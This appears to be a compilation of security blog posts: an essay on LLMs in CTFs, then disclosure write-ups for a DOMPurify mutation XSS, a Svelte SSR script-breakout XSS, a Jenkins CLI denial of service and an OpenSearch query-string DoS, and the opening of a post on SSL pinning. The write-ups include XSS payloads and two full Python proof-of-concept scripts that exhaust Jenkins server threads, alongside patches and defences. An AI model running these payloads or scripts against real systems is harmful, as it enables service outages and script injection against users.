This aligns with long-standing educational research: active problem-solving leads to deeper understanding than passive solution consumption (Chi et al., 1989).

So nothing is lost here.

And honestly, if your goal is just to win a leaderboard in a non top-tier CTF by throwing LLM prompts at it, it’s worth asking what that even means. If the competition itself does not meaningfully validate skill because it can be mostly automated, then winning it does not really say much. The leaderboard only has value when the underlying challenges demand real expertise.

If your goal is to learn, CTFs still work exactly the same. The leaderboard has always been a bad proxy for understanding anyway.

The real shift: high-end CTFs are becoming research problems

This is where things get interesting.

Top-tier CTFs like DEF CON Finals, PlaidCTF, or Google CTF have already been moving in this direction for years. Now LLMs are accelerating that trend.

Modern high-end challenges increasingly require:

novel exploitation techniques
deep understanding of mitigations
chaining multiple domains (crypto + reversing + systems)
or even discovering unintended behaviors

These are not easily solvable by current LLMs alone.

Why?

Because LLMs are still heavily bounded by training data and pattern generalization (Bubeck et al., 2023). When a challenge requires:

reasoning about something new
exploring an unknown attack surface
or forming hypotheses and testing them iteratively

the human is still in the loop.

Even in autonomous agent research, models struggle with long-horizon planning and exploration in unfamiliar domains (Xi et al., 2023).

And that’s exactly what high-end CTFs are becoming: mini research problems.

LLMs as tools, not replacements

What’s actually emerging is a new workflow.

Instead of replacing participants, LLMs are becoming:

fast documentation readers
boilerplate generators
idea expanders
sanity checkers

This is similar to how compilers or debuggers changed programming. They didn’t eliminate programmers, they raised the floor.

There’s already evidence that human + AI collaboration outperforms either alone in complex tasks (Khan et al., 2024).

So in a CTF context:

The LLM helps you move faster
But you still need to know what you’re doing

Otherwise you just prompt blindly and hope.

This might actually be good for security research

Here’s the part I find most exciting.

If low-tier challenges become trivial for AI, and mid-tier ones become semi-automatable, then:

The only way to keep CTFs interesting is to push them toward novel techniques.

That means:

more original vulnerabilities
more creative primitives
more cross-domain challenges
more “this shouldn’t work but it does” situations

In other words, closer to real-world security research.

And that has a side effect:

It incentivizes participants to become actual researchers.

This aligns with how fields evolve under tooling pressure. For example, automation in software engineering shifted focus toward higher-level design and architecture problems (Brooks, 1987).

CTFs may follow the same path.

The skill gap will widen

One thing that will happen is divergence.

There will be:

People who rely heavily on LLMs and plateau early
People who use LLMs as leverage and go deeper

This is consistent with studies showing that tools amplify existing skill differences rather than equalize them (Brynjolfsson & McAfee, 2014).

So instead of “AI democratizing CTFs”, we might actually see:

faster beginners
but much stronger experts

So… are CTFs dead?

No.

They’re just changing shape.

Beginner CTFs: still great for learning, leaderboard matters less than ever
Mid-tier CTFs: partially automatable, good for practicing workflows
Top-tier CTFs: increasingly research-driven, still human-dominated

And if anything, the high end is becoming more interesting, not less.

Final thoughts

If your goal is to win a leaderboard by throwing prompts at an LLM, especially in a CTF that is not top-tier, then you might be optimizing for something that has very little real value.

But if your goal is to:

understand systems
break assumptions
discover new techniques

then nothing has changed.

You’ll still need to think.

And at the top level, you’ll need to think harder than ever.

References

Fang et al., LLMs for Autonomous CTF Solving, 2024
Zhang et al., AutoCTF Agents, 2024
OpenAI, GPT-4 Technical Report, 2024
Anthropic, Claude Research, 2024
Chi et al., Self-explanations improve understanding, 1989
Bubeck et al., Sparks of AGI, 2023
Xi et al., Limitations of LLM Planning, 2023
Khan et al., Human-AI Collaboration, 2024
Brooks, No Silver Bullet, 1987
Brynjolfsson & McAfee, The Second Machine Age, 2014

CVE-2026-0540: How a CTF Detour Led Us to a DOMPurify mXSS - Daft

Sun, 29 Mar 2026 00:00:00 GMT

TL;DR

DOMPurify 3.1.3 through 3.3.1 contained an mXSS edge case that became exploitable when sanitized output was reparsed inside special wrappers such as xmp, iframe, noembed, noframes, noscript, and script. The bug received CVE-2026-0540, was publicly disclosed by Fluid Attacks as advisory daft, and was fixed in 3.3.2 with a small patch series rather than a single one-line change.

What made this one fun is how we found it. Cristian Vargas and I were playing a CTF and, almost by accident, tried an XSS route against a sink that looked correctly sanitized. Both of us managed to pop it anyway. At that point we stopped thinking about the challenge and started asking the more interesting question: was this actually a DOMPurify edge case? It turned out the answer was yes, and it was not part of the challenge after all.

How We Found It

This bug did not start with a source audit. It started with a mistake.

Cristian and I were solving a CTF challenge and went after an XSS sink that was already going through DOMPurify. The sink should have been boring. Instead, we both managed to bypass it.

That was the moment the challenge stopped mattering.

The payload was surviving sanitization as inert-looking attribute data, but after the application wrapped the sanitized result and reparsed it with innerHTML, the browser produced a different DOM tree. That is the classic shape of mutation XSS: the dangerous behavior does not exist in the first parse, it appears in the second one.

Once we realized that, we built a minimal reproducer outside the challenge and confirmed the behavior consistently enough to turn it into a proper report.

Why This Happened In DOMPurify

The interesting part was not the innerHTML sink by itself. DOMPurify's own docs already warn that sanitizing once and then changing context afterwards can void the effects of sanitization. The more specific issue was that the library's SAFE_FOR_XML handling was already trying to defend against dangerous sequences in attribute values, but its regex did not cover all the wrappers that mattered here.

Before the fix, the relevant check in src/purify.ts looked like this:

/((--!?|])>)|<\/(style|title|textarea)/i

That meant DOMPurify knew certain closing sequences inside attributes were too risky to keep when SAFE_FOR_XML was on, but it was only accounting for style, title, and textarea.

The missing cases were the raw-text or raw-text-like wrappers that made our PoC work:

xmp
iframe
noembed
noframes
noscript

And, in a follow-up patch commit, script was added as well.

Since SAFE_FOR_XML is enabled by default, this was not an obscure opt-in corner case. It was a default-on safeguard that simply did not model the full set of wrappers it needed to care about.

Reproducing The Behavior

Our PoC used a server-side DOMPurify instance backed by jsdom, returned the sanitized string to the browser, and then deliberately reparsed it inside special wrappers.

The minimal server-side path was:

const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.post('/sanitize', (req, res) => {
  const sanitized = DOMPurify.sanitize(req.body.input);
  res.json({ sanitized });
});

The client-side sink was:

const sanitized = data.sanitized || '';
sink.innerHTML = '<' + wrapper + '>' + sanitized + '</' + wrapper + '>';

With wrapper = "xmp" and this payload:

<img src=x alt="</xmp><img src=x onerror=alert(1)>">

the second parse produced a live onerror handler.

Fuzzing The Wrappers

Once we had a working xmp case, the next question was obvious: how many other wrappers behave the same way?

We fuzzed the wrappers listed in DOMPurify's special-content handling and then broadened that into a larger tag sweep. The interesting set in the vulnerable flow ended up being:

xmp
iframe
noembed
noframes
noscript
script

That final script case matters because it was not part of the first rawtext-regex expansion. It appeared in the follow-up patch, which is one reason the remediation story here is more accurately described as a patch series than a single fix.

One nuance is important: this is not the same thing as saying "browser-only DOMPurify is trivially bypassed everywhere." In my testing, a browser-only PoC using DOMPurify directly in the page escaped the closing sequences and did not reproduce. The exploitable condition showed up in the end-to-end flow where sanitized output was produced and later reparsed into a different context.

That distinction is also why this bug sat in an awkward but interesting place between a library issue and an integration misuse pattern.

Advisory Evidence

PoC Video

Watch video on YouTube

XSS Triggered

What DOMPurify's Docs And Threat Model Say

DOMPurify's documentation already contains two warnings that matter here.

First, the README explicitly says that if you sanitize HTML and then modify it afterwards, you can void the effects of sanitization. That maps directly to a flow that sanitizes once and later reparses the result inside a new wrapper.

Second, the threat model says DOMPurify does not protect against "faulty use or flipping of markup context." Their example is sanitizing HTML and then throwing it into SVG or another XML-based context. The underlying principle is the same: if you change parsing context after sanitization, you can create a bypass.

So the honest framing is not "DOMPurify promised to solve every context switch and completely failed." The honest framing is narrower and more useful:

DOMPurify documents that context flipping is dangerous and partly out of scope.
At the same time, SAFE_FOR_XML is a default-on defense specifically meant to neutralize risky structural sequences in attributes.
That defense missed several wrappers, and upstream patched the gap.

In other words, even if the issue lives near the edge of the stated threat model, the project still chose to harden the sanitizer and ship a fix. That is the right outcome, and it is one reason I think this advisory is worth studying.

The Patch Was Not One Commit

If you only look at the release page, it is easy to treat 3.3.2 as a single black-box fix. That misses what actually happened.

The remediation on the 3.x line landed as a short sequence:

Commit 729097f expanded the SAFE_FOR_XML regex to include xmp, noscript, iframe, noembed, and noframes.
Commit 302b51d extended that regex again to also cover script.
Release commit 5e56114 bundled the final 3.3.2 release.

The core source-level change ended up like this:

/((--!?|])>)|<\/(style|script|title|xmp|textarea|noscript|iframe|noembed|noframes)/i

There was also a backport on the legacy 2.x branch. Commit d59bfe7 carried the same idea into 2.5.9, which matters for deployments still pinned to the MSIE-compatible line.

So if you are documenting this issue, the accurate story is:

one advisory
one public fixed version on 3.x
multiple security-relevant commits
one legacy-branch backport

References

CVE-2025-15265: Svelte Hydratable Key SSR XSS - Lydian

Tue, 17 Mar 2026 00:00:00 GMT

TL;DR

Svelte 5.46.0 through 5.46.3 shipped an SSR XSS in the async hydration pipeline. If an application enabled experimental.async: true and passed attacker-controlled input as the first argument to hydratable(key, fn), Svelte serialized that key into a server-rendered <script> block with JSON.stringify(k). Because that output was not HTML-safe for a <script> context, an attacker could inject </script><script>... and execute arbitrary JavaScript in the victim's browser.

The issue was assigned CVE-2025-15265, publicly disclosed on January 15, 2026, and fixed in svelte@5.46.4.

Why This Matters

The bug is subtle because the data is encoded as a JavaScript string, which looks safe at first glance. The problem is that HTML parsing rules win before JavaScript string parsing does. Inside a <script> tag, a literal </script> closes the tag even if it appears inside quotes.

That means this:

JSON.stringify("</script><script>alert(1)</script>")

is valid JavaScript string data, but it is still unsafe to embed directly into HTML script content.

The Vulnerable Code Path

The affected sink lived in Svelte's server renderer:

// packages/svelte/src/internal/server/renderer.js
entries.push(`[${JSON.stringify(k)},${v.serialized}]`);

That value was later embedded into an inline <script> block in the SSR response to populate window.__svelte.h.

If k contained attacker-controlled input like </script><script>globalThis.__xss = true</script>, the browser treated it as a real closing tag and executed the injected script.

Reproducing The Bug

I built a minimal SvelteKit application with async SSR enabled and a route that forwards a query parameter into hydratable.

// src/routes/+page.server.js
export function load({ url }) {
  return {
    key: url.searchParams.get('k') ?? 'safe-key'
  };
}

<!-- src/routes/+page.svelte -->
<script>
  import { hydratable } from 'svelte';

  const { data } = $props();
  const value = await hydratable(data.key, () => Promise.resolve('ok'));
</script>

<div>{value}</div>

With svelte@5.46.0, the following request reproduces the issue:

curl --globoff \
  'http://127.0.0.1:4173/?k=%3C/script%3E%3Cscript%3EglobalThis.__xss%20%3D%20true%3C/script%3E'

The server responds with HTML containing this inline head script:

<script>
  {
    const r = (v) => Promise.resolve(v);
    const h = (window.__svelte ??= {}).h ??= new Map();

    for (const [k, v] of [
      ["</script><script>globalThis.__xss = true</script>",r("ok")]
    ]) {
      h.set(k, v);
    }
  }
</script>

At that point the browser sees a closing </script> tag, exits the original block, and runs the injected payload.

Conditions Required For Exploitation

Not every Svelte application was affected. The vulnerable path required all of the following:

The app used Svelte >=5.46.0 and <=5.46.3.
Async SSR was enabled with experimental.async: true.
The app used hydratable(key, fn).
The key could be influenced by untrusted input.

In practice, this is realistic in apps that derive hydration keys from route params, query params, tenant identifiers, or helper functions that wrap hydratable without validating the key.

Root Cause

This was a context mismatch bug.

JSON.stringify is fine for building JavaScript string literals.
It is not enough when the serialized value is injected into raw HTML inside a <script> element.
The HTML parser does not care that </script> appears inside a quoted JavaScript string.

Svelte already handled hydratable values safely, but the key path used a weaker serializer than the value path.

The Fix In 5.46.4

The 5.46.4 patch is small, but it is very deliberate. Upstream changed the serializer used for hydratable keys:

import * as devalue from 'devalue';

// before
entries.push(`[${JSON.stringify(k)},${v.serialized}]`);

// after
entries.push(`[${devalue.uneval(k)},${v.serialized}]`);

That change matters because devalue.uneval does more than stringify data. It emits a JavaScript expression that is safe to embed inside inline script content, escaping characters that are dangerous in that context, especially <.

For the malicious payload:

const payload = "</script><script>globalThis.__xss = true</script>";

the vulnerable serializer produced:

JSON.stringify(payload)
// => "</script><script>globalThis.__xss = true</script>"

while the patched serializer produces:

devalue.uneval(payload)
// => "\u003C/script>\u003Cscript>globalThis.__xss = true\u003C/script>"

This is the key detail. The browser's HTML parser only breaks out of a <script> element when it sees a literal < starting </script>. After the patch, there is no literal < in the serialized key anymore, only \u003C, so the parser never terminates the surrounding script block early.

Once the script executes, JavaScript interprets \u003C as <, so the application still gets the original string value as the map key. In other words, the patch preserves behavior while removing the HTML parsing hazard.

This also explains why the fix is better than a narrow one-off replacement. Instead of escaping only one payload pattern, Svelte switched to a serializer designed for JavaScript source generation in inline scripts. That aligns the key path with the safer serialization approach already used elsewhere in the hydration pipeline.

The release also added a regression test under packages/svelte/tests/runtime-runes/samples/hydratable-script-escape/. The test uses a payload containing:

'</script><script>throw new Error("pwned")</script>'

If the old behavior were still present, the injected script would execute during hydration and the test would fail immediately. After the patch, the payload remains inert data inside the generated script, so hydration completes normally.

Impact

This is an SSR XSS, so exploitation happens in the browser of whoever loads the vulnerable page. A successful payload can lead to:

session theft
DOM tampering
authenticated actions through injected JavaScript
account compromise, depending on the application's session model

The public advisory rates the issue 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N).

Timeline

December 27, 2025: Vulnerability discovered
December 29, 2025: Vendor contacted
January 5, 2026: Vendor replied and confirmed the issue
January 15, 2026: Fix released in svelte@5.46.4
January 15, 2026: Public disclosure and CVE-2025-15265

References

CVE-2025-67635: Unauthenticated DoS in the Jenkins CLI full-duplex endpoint

Fri, 12 Dec 2025 00:00:00 GMT

TL;DR

Jenkins’ plain CLI endpoint (/cli?remoting=false) pairs two POST requests (download/upload) via a shared Session UUID and is reachable without Overall/Read.
Two bugs stack: an unsynchronized HashMap in CLIAction drops one half of the session (race condition), and the CLI protocol wait loops (ServerSideImpl.run, FullDuplexHttpService.upload) have no timeout.
Attackers can finish their HTTP calls in milliseconds yet strand Jetty threads for 15s (race window) or indefinitely (abandoned protocol), causing controller-wide asymmetric DoS.
Affects core ≤ 2.540 and LTS ≤ 2.528.2 (CWE-362/CWE-404, CVSS 7.5). Fixed in 2.541 / 2.528.3 by using ConcurrentHashMap, adding handshake timeouts, and closing streams on error.
Mitigate now: upgrade, or block the plain CLI endpoint from untrusted networks, capture thread dumps to confirm no threads sit in CLIAction$ServerSideImpl.run or FullDuplexHttpService.upload/download.

What the endpoint does

The non-Remoting CLI builds a full-duplex channel from two HTTP POSTs:

Download side: Side: download, opens cli?remoting=false, server writes a byte and waits for the upload half.
Upload side: Side: upload, same Session UUID, provides the input stream.

hudson.cli.CLIAction wires this to jenkins.util.FullDuplexHttpService, storing active sessions in a cross-request registry.

Root cause #1 - unsynchronized session registry (race condition)

CLIAction keeps the session map in a plain HashMap shared by all request threads:

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

FullDuplexHttpService.Response.generateResponse does services.put(uuid, service) for the download side, and services.get(uuid) for the upload side. Because HashMap is not thread-safe, concurrent puts/gets under load can:

Return null for a valid download side
Drop entries during a resize
Leave download threads inside FullDuplexHttpService.download waiting up to 15 s for an upload that already arrived

Result: every racy pair ties up a servlet thread for the full timeout while the attacker’s sockets close immediately, causing an asymmetric DoS and violating REQ-337 (“Make critical logic flows thread safe”).

Root cause #2 - missing protocol timeouts (deterministic hang)

Even when the two halves pair correctly, the protocol handshake can deadlock because neither side times out:

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

If the client drops the connection before sending CLI frames, the download thread blocks in ServerSideImpl.run() and the upload thread blocks in upload() with no timeout, consuming two Jetty threads per attempt until the controller is exhausted.

Exploitation notes

Both vectors require only network reachability to /cli:

Scenario A (race condition): fire overlapping download/upload pairs with slight jitter so the upload half occasionally sees null. Threads pile up in FullDuplexHttpService.download for ~15 s each.
Scenario B (abandonment): open both halves, let them pair, then close without sending CLI frames. Threads stay in CLIAction$ServerSideImpl.run and FullDuplexHttpService.upload indefinitely, no timing window needed.

Below are the exact PoCs shared with the Jenkins security team:

PoC: racecond_a.py (HashMap race, two downloads per UUID)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

PoC: racecond_b.py (protocol abandonment, deterministic hang)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

Evidence

Thread dump (Scenario B, Jenkins 2.516.2 test controller) – stuck in the exact call sites with no timeout:

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)

Video evidence: end-to-end crash reproduction against a fresh controller:Watch video on YouTube
On a vulnerable build you will see dozens of request threads waiting in those call sites, and regular CLI calls start timing out.

Impact

Unauthenticated DoS: no Overall/Read required to hit /cli?remoting=false.
Low attacker cost: sockets close immediately, the server holds the work (15 s per race attempt, infinite for abandonment).
Controller-wide degradation: servlet threads and I/O streams back up, other endpoints time out.

Patch details (core commit efa1816)

CLIAction now stores sessions in a ConcurrentHashMap, removing the racy HashMap drops that powered the asymmetric DoS.
ServerSideImpl.run and FullDuplexHttpService.upload adopted CONNECTION_TIMEOUT-bounded waits with 1s wake-ups and DEBUG logs, so abandoned handshakes unwind instead of parking threads.
PlainCLIProtocol always calls side.handleClose() in a finally block, ensuring both halves tear down even on read errors or runtime exceptions.
Regression coverage landed in Security3630Test (JUnit 5): it shrinks the CLI timeout for tests, exercises the previous race with concurrent CLI invocations, and asserts threads are released after truncated streams.
Net effect: the CLI download/upload pairing now fails fast and frees Jetty threads instead of blocking indefinitely on missing counterparts.
The changes bring the full-duplex CLI path back into compliance with REQ-337: “Make critical logic flows thread safe.”

CVE and advisory references

SECURITY-3630 is assigned CVE-2025-67635 (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). See the CNA record on cve.org and the NIST entry on NVD for canonical metadata.
Jenkins’ official write-up: Jenkins Security Advisory 2025-12-10: SECURITY-3630.

Fix and hardening

If you cannot upgrade immediately:

Disable or firewall the plain CLI endpoint, prefer the WebSocket CLI with proper auth.
Lower Jetty thread caps only as a last resort (does not remove the bug).
Monitor thread dumps for CLIAction$ServerSideImpl.run and FullDuplexHttpService.upload/download wait states.

Indicators of compromise

Repeated IOException: No download side found for <uuid> in logs.
Thread dumps showing many TIMED_WAITING at FullDuplexHttpService.download or WAITING at CLIAction$ServerSideImpl.run / FullDuplexHttpService.upload.
Spikes in /cli?remoting=false requests lacking authentication headers.

Patch promptly, this is a cheap, network-reachable DoS path in default Jenkins deployments.

CVE-2025-9624: Nested Boolean/Disjunction Asymmetric DoS in Amazon's OpenSearch query_string - Chick

Tue, 25 Nov 2025 00:00:00 GMT

TL;DR

While testing OpenSearch 3.2.0, I found an asymmetric Denial of Service (DoS) condition in how the engine handles query_string queries.

By crafting Lucene-style inputs that nest boolean operators and disjunctions, it's possible to build huge query trees that stay under OpenSearch's per-node clause limits but explode the overall number of nodes. The result is excessive CPU usage and heap pressure during query parsing, rewriting, and scoring, eventually leading to a process being killed by the OS or container orchestrator (e.g., exit code 137).

This issue was assigned CVE-2025-9624 and classified under CWE-674: Uncontrolled Recursion. It affects OpenSearch where query_string inputs from potentially untrusted sources can reach the cluster without an upper bound on complexity. After discussing with the Amazon's OpenSearch team, the problem was fixed by introducing a new cluster-wide setting:

search.query.max_query_string_length

which rejects overly long query strings early in the parsing stage.

If you expose query_string to untrusted or semi-trusted clients, you should:

Upgrade to OpenSearch 3.3.0 or later.
Configure a reasonable search.query.max_query_string_length value for your environment.
Avoid letting arbitrary users send raw Lucene-style query_string input when a safer DSL or templated queries would do.

Background: OpenSearch, query_string and Clause Limits

OpenSearch is built on top of Apache Lucene and exposes multiple ways to express queries:

Structured JSON DSL (e.g., bool, term, range).
Higher-level helpers like multi_match.
The query_string query, which lets users write Lucene-style strings such as:

(title:security OR description:"denial of service") AND product:opensearch

The query_string query is convenient, but it's also dangerous when users can control it. It has to:

Parse the string into a query tree.
Expand field lists (multi-field queries).
Build Lucene queries like BooleanQuery, DisjunctionMaxQuery, PhraseQuery, and others.

To prevent runaway queries, OpenSearch already had clause limits:

indices.query.bool.max_clause_count caps the number of clauses per BooleanQuery node.
Internally, IndexSearcher.setMaxClauseCount(...) enforces a limit to avoid pathological boolean expressions.

However, this limit is local to each boolean node. It does NOT cap:

The total number of nodes in the query tree.
The fan-out of non-boolean containers, such as DisjunctionMaxQuery, which are commonly used to aggregate multi-field expansions.

That gap is what made CVE-2025-9624 possible.

The Vulnerable Design

Per-node limits, global problem

At a high level, the vulnerable behavior can be summarized as:

OpenSearch enforces indices.query.bool.max_clause_count per BooleanQuery.
The query_string parser and related builders can create deep trees of booleans and disjunctions.
Other containers, like DisjunctionMaxQuery, are not bounded by the boolean clause limit.
There is no global cap on overall query size or node count.

This means an attacker can construct queries where:

No single boolean node violates max_clause_count.
But the entire tree still becomes enormous, consuming CPU and heap during:
- Parsing
- Rewrite phases
- Scoring and relevance calculation

Asymmetric DoS in practice

This is an asymmetric DoS because:

The attacker's cost is tiny: a single crafted _search request with a "large" query_string value with nested boolean/disjunction operations.
The defender's cost is huge: OpenSearch spends significant CPU and memory processing that query before failing.

Building the Query Bomb

The key observation was that I could grow the query tree combinatorially while keeping each boolean node "small".

A simplified example of the pattern looks like:

GET _search
{
  "query": {
    "query_string": {
      "query": "winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) ..."
    }
  }
}

By repeating and nesting groups, using multi-field expansions, and keeping the boolean limits intact, the resulting Lucene structure becomes massive.

Reproducing the Issue

Effects observed:

CPU spikes
Heavy GC pressure
Sometimes termination (137/OOMKilled)

Demo (video)

Watch video on YouTube

Direct link: https://youtu.be/Z06POBsayqM

Impact Assessment

CVSS v4.0 score: 8.3 (High)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

Root Cause

The issue stems from local limits without global bounds. Boolean node limits do not restrict the total query tree size. Multi-field expansions and disjunctions multiply complexity until the engine collapses under CPU/memory pressure.

This matches CWE-674: Uncontrolled Recursion.

The Fix: `search.query.max_query_string_length`

OpenSearch PR #19491 added:

search.query.max_query_string_length

Default: 32,000
Enforced early in QueryStringQueryParser.parse(...)
Rejects overly long query_string values before parsing and expansion

Included starting in OpenSearch 3.3.

I want to publicly thanks the Amazon's OpenSearch team for such a professional triaging and transparency for this vulnerability report.

Defensive Recommendations

Upgrade to 3.3.0+
Set a stricter search.query.max_query_string_length
Avoid exposing raw query_string to untrusted clients
Apply rate limiting and monitor heavy queries

Disclosure Timeline

2025-09-04 -- Issue reported
2025-09-17 -- Confirmed by OpenSearch team
2025-10-01 -- Fix merged
2025-10-14 -- OpenSearch 3.3 released
2025-11-25 -- Public disclosure (Fluid Attacks + CVE publication)

References

The Obsolescence of SSL Pinning in Mobile App Security

Mon, 01 Sep 2025 00:00:00 GMT

TL;DR

This blog post is dense and time-consuming to read in full.
If you just need the essentials:

SSL Pinning is obsolete : Google, Apple, OWASP, and Cloudflare all discourage its use except in rare cases.
Why? It's fragile (breaks when certificates rotate), high-maintenance, gives a false sense of security (easily bypassed with tools like Frida), and can cause outages or compatibility failures (especially in enterprise networks).
Better alternatives in 2025: rely on the default PKI trust stores, enable Certificate Transparency, enforce HSTS, use strong TLS configs, leverage DNS CAA, and monitor your certificates.
Bottom line: Don't pin unless you have a niche regulatory or extreme threat model that requires it, and if you do, plan very carefully for rotation.

Introduction

SSL pinning (also known as certificate pinning) is a technique that gained popularity in mobile app security as a way to harden HTTPS connections against man-in-the-middle (MITM) attacks. The basic idea is simple: instead of trusting all certificate authorities (CAs) in the device's trust store, the app only trusts a specific certificate or public key that it "pins" as valid. In theory, this ensures the app connects only to a server presenting the expected certificate, even if a rogue or compromised CA were to issue a fraudulent certificate for the server's domain. For years, Android and iOS developers implemented SSL pinning in banking, finance, and other security-sensitive apps to guarantee they were talking to the genuine backend server and not an impostor.

However, the mobile security landscape has evolved. Major platform maintainers and industry experts now discourage the use of SSL pinning except in very special cases. What was once considered a best practice is increasingly seen as an outdated mechanism that can create more problems than it solves. In this post, we'll explore what SSL pinning is, why it was historically used, and the technical reasons it's now viewed as obsolete. We'll also cite official guidance from Google and Apple advising against pinning, discuss real-world issues pinning causes for developers and testers, and outline modern best practices to secure HTTPS in mobile apps today (from certificate transparency to HSTS and beyond).

What Is SSL Pinning in Mobile Apps?

SSL pinning refers to configuring an application to accept only a predefined TLS certificate or public key when establishing secure connections. In a typical TLS handshake, the client (app) trusts any server certificate signed by a trusted CA (Certificate Authority) in the system's trust store. With pinning, the developer narrows this trust: the app stores or "pins" a specific server certificate (or its public key or the issuing CA's key) and will reject all others, even if they are otherwise valid.

In practice, mobile developers have implemented pinning in a few ways:

In Android:
Historically via custom TrustManager implementations that check the server's certificate against a known good certificate or public key. Modern Android apps can use Network Security Configuration (an XML config) to enforce pinning for specific domains without writing code. For example, developers might include the SHA-256 hashes of the allowed certificates in the config. Libraries like OkHttp also provided a CertificatePinner utility for pinning in code. These approaches ensure the app only trusts the specified certs.
In iOS:
Commonly by implementing the URLSessionDelegate method didReceive(authenticationChallenge:) to intercept the server certificate and verify it matches a bundled certificate or key. More recently, iOS 14+ introduced a declarative pinning capability via the app's Info.plist (App Transport Security settings). Developers can list domains under NSAppTransportSecurity > NSPinnedDomains with one or more NSPinnedCAIdentities or public key hashes to pin the server's identity. This "identity pinning" is native support for SSL pinning on Apple platforms.

By using these techniques, an app tightens the TLS verification beyond the default. If an attacker or malicious network presents any certificate that isn't the one the app expects (even if it's otherwise valid or signed by a public CA), the connection is aborted. This was seen as an extra layer of defense on top of the standard HTTPS validation.

Original Benefits and Motivations for SSL Pinning

When SSL pinning was first adopted, it addressed real concerns about the trustworthiness of CAs and the potential for MITM attacks via rogue certificates. Some key motivations and perceived benefits were:

Protection Against Malicious CAs or Misissued Certificates:
